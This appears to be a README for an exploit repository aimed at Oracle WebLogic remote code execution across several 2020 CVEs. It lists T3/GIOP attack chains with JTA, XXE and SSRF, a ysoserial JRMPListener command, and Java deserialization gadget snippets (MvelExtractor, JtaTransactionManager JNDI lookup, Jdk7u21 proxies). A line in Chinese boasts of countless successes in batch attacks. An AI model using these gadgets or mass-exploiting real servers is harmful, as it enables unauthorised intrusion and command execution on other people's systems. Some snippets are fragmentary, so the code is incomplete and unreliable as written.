Twitter: @Hktalent3135773

1、Weblogic RCE exploit

CVE_2020_2546 CVE-2020-2915 CVE-2020-2801 CVE-2020-2798 CVE-2020-2883 CVE-2020-2884 CVE-2020-2950 WebLogic RCE T3 payload exploit poc python3

2、exploit

• GIOP + send bind (CVE-2020-2555、CVE-2019-2888、CVE-2019-2888<XXE+SSRF> or others)
• GIOP + send jta (rmi or others)
• GIOP + send jta + SSRF
• T3 + send jta
• T3 + send jta + SSRF
• T3 + send XXE
• T3 + send XXE + SSRF

2.1、rmi server,see

• don't use org.mozilla.classfile.DefiningClassLoader
• don't use java -cp $mtx/../tools/ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1099 Jdk7u21 'whoami' more see: https://github.com/hktalent/CVE-2020-2551

3、code

3.1、code1

MVEL.compileExpression
MvelExtractor o = new MvelExtractor("xxx;");
		ObjectOutputStream oo = new ObjectOutputStream(System.out); 
		oo.writeObject(o);
		oo.flush();

3.2、code2

public MsgOutput getObject(final String command) throws Exception {
	  String jndiAddress = command;
		JtaTransactionManager jtaTransactionManager = new JtaTransactionManager();
		jtaTransactionManager.setUserTransactionName(jndiAddress);
		MsgOutput remote = Gadgets.createMemoitizedProxy(Gadgets.createMap("pwned", jtaTransactionManager), MsgOutput.class);
    return remote;
  }

3.3、code3

public IORDelegate getObject(final String command) throws Exception {
IORDelegate ior = Gadgets.createMemoitizedProxy(Gadgets.createMap("pwned", new Jdk7u21().getObject("whoami")), IORDelegate.class);
    return ior;
  }

3.4、code4

weblogic.iiop.IIOPRemoteRefd,ObjectMessageImpl

3.5、CVE-2020-2883 code

#4

2883

4、CVE-2020-2546 payload

批量一波，成功无数

5、thanks for

@r4v3zn @0nise